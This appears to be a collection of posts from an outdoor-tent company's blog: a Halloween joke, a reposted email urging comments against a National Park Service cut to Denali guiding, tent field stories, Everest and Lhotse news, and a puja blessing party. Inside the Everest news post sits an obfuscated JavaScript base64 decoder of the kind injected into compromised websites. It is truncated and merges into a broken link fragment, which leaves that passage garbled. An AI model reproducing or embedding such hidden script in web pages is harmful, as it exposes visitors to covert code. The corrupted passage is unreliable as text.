Logos, Beer Goggles and Halloween...

With all the mad-science going on around here it is easy to get carried away, we get funky-weird-crazy all the time around the shop.  Good thing The Bay Area celebrates halloween for a week or more. When people asked me what I was today, I said…

” I’m the conceptual marketing department for the ideological social networking interface”

Most people didn’t get that.

I was just the idea of a concept trying to sell itself, to itself.

 Some people didn’t get that either.

Happy Halloween!

-A, Weirdo

Help Save the Guides on Denali.

On a big mountain a good guide can mean the difference between a life changing experience and basic survival.

The NPS is planning to reduce the amount of guides on Denali next season by 75%, in some cases cutting the employed guides from 54 to 13.

Slingfin received the following email today and it was so well written I felt the need to post the whole thing.



The first round prototype of one of our new tents the "Hardshell" on Denali last May.


"The NPS has Denali climber allocation up for final discussion.  Thanks to all of you that commented last winter on this topic! They read the comments and came up with 3 alternatives to try and work from. 
I really appreciated that they are trying to resolve this issue. Sadly, all of the alternatives they list include a baseline 25% commercial use. This percentage could drastically effects the future of guiding and guiding jobs on Denali. 
25% equals 47 clients per concession and only 15 guide positions per season for AMS. 
To compare: This year we led 94 clients on Denali and had 47 guide positions on Denali.
You can comment and find the whole plan at this address:http://parkplanning.nps.gov/document.cfm?parkID=9&projectID=33610&documentID=43253
We are still formulating our comments to this plan, and we need you (and your friends and family) to comment too!  Comments must have a solid reasoning to be considered. Here are some points to consider. Scroll to the bottom to see our proposed solutions.
The Denali Park # 3 preferred alternative is good with exceptions of: 
         1. Limiting commercial capacity to 25% of 1500
         2. The inclusion of mountain guides to the base allowable percentage  
         3. Lack of clear implementation plan. 
Here is why:
 1. Inadequate Range of Alternatives:
The base allowable commercial use of 25% is listed in all three alternatives. The 2011 EA and the 2006 BCMP do not acknowledge the significant economic impact that the reduction to 25% commercial use will have on the Denali mountaineering concessioners, their employees, park visitors, or surrounding local businesses. If the Denali National Park feels it must reduce base commercial use to 25% of total allowable use, then, NEPA requires an Environmental Impact Statement with socioeconomic studies. The NPS preferred alternative #3 does suggest the opportunity for increased use due to potential unclaimed permits, but offers no plan to implement that increased use to meet current visitor demand and no implementation of that plan. 
2. Lack Of Conflict/ Ease of Using Current Methods:
Guided and individual climbers are not being displaced using current methods of regulating climbing activity, we suggest using the working current percentages, with moderate room for growth to accommodate the trend of increasing demand.
3. Decreased Job Opportunity:
            In 2011, Alaska Mountaineering School (AMS) employed 47 guide positions.  Decreasing guaranteed commercial opportunity to 25% would allow only 15 guide jobs on Denali for the season.  Another Concessioner employed 54 guides, for their business model a reduction to 25% would provide only 13 guide positions available.  
For all the concessioners estimates show that over 90 guide positions could be lost.


4. Decreased Stewardship:
            Each guided expedition on Denali provides 21 days of education to clients; this encourages and results in excellent stewardship of the glaciated mountain environment and Denali National Park. In 2010 there were 169 guides on Denali educating the public. Reducing the guaranteed opportunity of commercial activity to 25% could result in a loss of 1,974 days of guided education on the West Buttress.
5. Decreased Cleanliness:
            Field observations show that guided groups are cleaner and more responsible for a cleaner mountain environment. They are, in fact, bound to be cleaner by their concession contract and therefore are additionally accountable. 
6. Decreased Visitor Opportunity:
            In 2010, 1177 people climbed Mt. McKinley, of those 409 were guided climbers, a 25% limitation could result in 174 less guided park visitors.  That is 42% of the people may not be able to climb Mt. McKinley with a guided team.


7. West Buttress Special Use Area Corridor
The area of Mount McKinley that we are discussing is the West Buttress, not the entire massif. The park BCMP acknowledged that the area is higher use and designated it as such by calling it the West Buttress Special Use Corridor, which is within the Old Park wilderness area. 
The Parks BCMP sates that within this corridor park visitors will encounter:
• High Evidence of Human Use
• Landscape modifications
• Encounters with large groups
• High Camping Density
High Administrative Presence
We believe the original intent was to limit commercial use to 25% of potential use in the Wilderness Area outside of the Special Use Corridor (precisely why it was designated).  This Corridor designation allows the NPS to be flexible within the acknowledged busier area of the West Buttress Route of Mt. McKinley, to accommodate park visitors wishing to join a guided expedition.  
8. Don’t Count Guides
Guides are not recreating; they are working. Excluding guides from commercial percentage allows a smaller commercial percentage (closer to the BCMP figure) and greater park visitor safety.  Including guides in the percentage will result in fewer guides on the mountain, decreasing overall quality of experience to all park visitors who climb because of the support guides provide for the entire visitor population. Mountain guides provide a multitude of positive contributions to the national park lands and all park visitors while climbing Mt. McKinley, which include but are not limited to: increased safety and hazard awareness, assistance to park rangers in SAR operations and maintenance of equipment on the mountain, LNT environmental ethics and practices, education of the natural and human history of the Alaska Range and surrounding terrain.


Proposed Solutions:
1. (Preferred) Include guided climbers only in the guaranteed opportunity of commercial use to 38% of total possible activity on the West Buttress of Mt. McKinley. To accommodate increased visitor demand in the future, utilize the NPS plan to share with concessioners unused climbing permits. Implement the plan with an equally divided, structured format, in order to offer the park visitors fair opportunity to climb Denali and to protect future opportunities.  Include the plan of implementation within the mountaineering concession contracts.


2. Include guided climbers and guides in the guaranteed opportunity of commercial use to 50% (1982- present allowable use) of total possible activity on the West Buttress of Mt. McKinley. To accommodate increased visitor demand in the future, utilize the NPS plan to share with concessioners unused climbing permits. Implement the plan with an equally divided, structured format, in order to offer the park visitors fair opportunity to climb Denali and to protect future opportunities.  Include the plan of implementation within the mountaineering concession contracts."

Go shred ‘lil dude!

The Start House has been put in to use by a youth ski team as, you guessed it, a Start House!

The team placed the tent at the top of the ski run for a place to stay warm, tune skis and review the video from the last run without glare.

The door is so wide on this tent that the 'lil shredders can ski right out the door and down the slopes.

The Start House is made almost entirely of ET70 fabric coated with titanium dioxide, giving it tremendous staying power.  The Start House could be left there for seasons on end, but as it turns out, the instructors liked the mobility of the shelter, moving it to multiple runs in the same day.

This very Start House is currently on its way to Nepal with a team of russians attempting an unclimbed peak.

We will keep you posted on that.


Back from Outdoor Retailer

Tim does a little “tent yoga”The SlingFin Crew @ Tent City.  We figure, we make outdoor products… why not be outdoors!

The BFD was a surprising sanctuary during the heat of the day. With temperature in the upper 90s all week, I haver never seen a tent this big that stays this cool, and with all the vents and doors open the shade in the tent was cooler than outside. 

Lions & Tigers & Spindrift… OH MY!

The OneUp is setting the standard for versatility in shelter systems.




The OneUP at Wildcat Camp 6, Point Reyes California.

The OneUp on Denali, With a crowd of guides checking out the goods.


With a debut on Everest and rigorous testing accross the varied climates of California, then off to Denali... Whats next?

The OneUp on the Carson River during the SlingFin rafting trip.


If somebody told me they were planing on taking a 4-season expedition tent on a trek through Africa, I would say that they need to have their head examined... Unless that tent was the OneUp.


The basic principle that the OneUp is based on; the WebTruss, is at the core of what makes this shelter so functional across the range of climates we have put it through to date.

More to come =D

SlingFin is making headlines!

No, its not because of the reports of U.F.O sightings on Gilman St..

The outer shell of a OneUP suspended above the inner tent.



It’s about L.F.D sightings on Everest!

The L.F.D in Camp 2 (21,300 ft) Photo- Mountain Trip.

“When a team of climbers reached the summit of Mount Everest on Thursday, they had a significant advantage over other teams this spring, many of whom were forced to turn back short of the world’s tallest peak by bad weather.”…..


……”Our goal is not to build this business up and sell it off. We're not a marketing company; we're a product-driven company that in the long run will translate into relationships with the people who appreciate this gear and will support it. In the short run it will be very challenging, but this is the way to properly brand the business in the long run." function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oetribune/localnews/ci_18105930">Read the entire article here.



Alpine Ascents’ website officially reports: At 4:22 am on May 20th 2011, Garrett Madison, Tom Halliday and Kami Rita Sherpa made the summit of Lhotse!

This is a truly amazing feat of mountaineering in all aspects of the sport. The level of skill and sheer endurance that this type of climb requires is possessed by very few people on this earth.


The Puja was a win!

It took  alot of planning but the puja went off without a hitch. We had a turnout of more than 100 great people!

The food and drink were top notch, we had a fine spread of imported cheeses and a selection of Martins favorite German deli's cold-cuts and a keg of  damn good beer, Scrimshaw pilsner , from North Coast Brewery. But the "best in show" libations  by far were the fine Italian wines  selected by Dalla Terra:
> Inama Soave Classico - Veneto
> Ajello Nero d'Avola - Sicily
> Aia Vecchia Lagone - Tuscany
> Li Veli - Passamante - Puglia
> Marco Felluga Merlot - Friuli

Dalla Terra wines, who's founder Brian Larky  on top of being a fully rated pilot, 5th class whitewater guide, world class wine sommelier, and all around really good guy,  also happens to take stunning photos. He didn't bring his "good camera" but the shots he captured were still excellent, check out his puja smugmug here.

After the initial feeding frenzy died down, Lama Tenzing of the Palpung Lungtok Choeling Monstary arrived. He sat down and a serene silence filled the room.


Martin and Tim came to the front and kneeled down on a large crash pad in front of the holy man. He began to chant reading from a scroll, then reached into his robe pocket and pulled out a small baggie filled with rice.   He threw some grains to the North, South, East and West.   Just like that our new basecamp was well on it's way to being blessed.

Tsering Wangmo --Photo Jackie Moore

Then a beautiful Tibetan woman named Tsering Wangmo came to the front of the room.  She had a string instrument that I had never seen before called a Dramyen (i think) it had 6 strings in 3 sets of two. Each string in a set was under separate tension, when played it had a very interesting sound. She gave us a short intro of the songs she would sing, and then proceded to blow the room away. Her  voice was one the most enchanting and ethereal sounds I have ever heard a human produce.   The large concrete room reverberated with her song, I had the luck of sitting right in front of her.  The songs she sang shook my body and sent chills down my spine (in a good way). We found out later that she is very well renowned and has played at Carnegie hall.

The crowd was still ringing from the performance when a plate of barley flour was brought out and we were told to form a big circle. The plate was passed around and everybody took a small pinch. Tsering led us in a chant to finish the blessing, at the end of the chant everybody tossed the flour into the air. It was quite a sight to behold.







The rest of the time was spent giving tours of our design and production facilities and product demos.  Robert Link gave an epic slide show from his many travels all around the world.

This celebration was a big hit for SlingFin, it really got the company started on the right foot. Tons of good energy filled our space, and it shows no signs of leaving.  We even had a dove fly in the front door! (she also shows no signs of leaving;)

Now i gotta go sweep up some flour...



Fun with the Webtruss.

The Webtruss is a truly beautiful thing.

In fact I think it is art of the highest degree.  A perfect marriage of form and function through design is a wonderful thing to interact with.

Case in point: The other day, a couple walked into the studio (the door was open and the grateful dead were blazing at top volume) they looked interested and a little confused. They said is this The North Face?  I grinned and said "Far from it!"

At this point Martin came up and offered them a beer  from a keg wrapped in sleeping bags. (Insulation testing)  This caused them to look a little more confused and subsequently more interested. I turned Jerry down a little, and took them outside to look at the tents.

She was an artist and he was an architect.  She said "driving by we thought this was an art installation". pushing on the truss with both hands the husband said "it is!"

I liked these people, they saw the marriage of art and function. So I took them over and removed a pole set from a Webtruss.  I gave her the poles and said "don't be gentle you can't hurt it."

She started cramming the pole into the sleeve, the architect sprung into action and was on the other end of the pole in a flash. At the same time they both exclaimed "WOW", then on to another pole, and another. the tent was up in no time flat.